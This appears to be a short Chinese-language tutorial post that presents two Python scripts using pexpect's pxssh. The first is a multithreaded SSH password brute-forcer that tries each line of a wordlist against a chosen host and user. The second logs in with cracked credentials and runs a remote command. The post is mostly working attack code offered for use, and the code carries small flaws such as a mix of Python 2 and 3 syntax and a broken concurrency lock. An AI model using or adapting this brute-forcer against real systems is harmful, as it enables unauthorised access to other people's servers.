利用Pxssh是pexpect库的ssh专用脚本
环境:kali
代码:
'''
Author:yw
'''
from pexpect import pxssh
import optparse
from threading import *
Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+]Password Found:"+password)
Found = True
except Exception as e:
pass
def main():
parser = optparse.OptionParser('usage %prog -H -f -u ')
parser.add_option('-H', dest='host', type='string', help='target host')
parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')
parser.add_option('-u', dest='user', type='string', help='login username')
(options,args) = parser.parse_args()
host = options.host
passwdfile = options.passwdfile
user = options.user
if host==None or passwdfile==None or user==None:
print(parser.usage)
exit(0)
mn = open(passwdfile,'r')
lines = mn.readlines()
for line in lines:
with connection_lock:
password = line.strip('\n')
print('[-] Test:'+str(password))
t = Thread(target=connect,args=(host, user, password))
t.start()
if __name__ == '__main__':
main()
爆破成功后(远程执行上述命令)
代码:
'''
Author:yw
'''
from pexpect import pxssh
def send_shell(s,shell):
s.sendline(shell)
s.prompt()
print s.before
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password)
return s
except:
print("[-] Error Connecting")
exit(0)
s=connect('127.0.0.1','root','toor')
send_shell(s,'uname -a')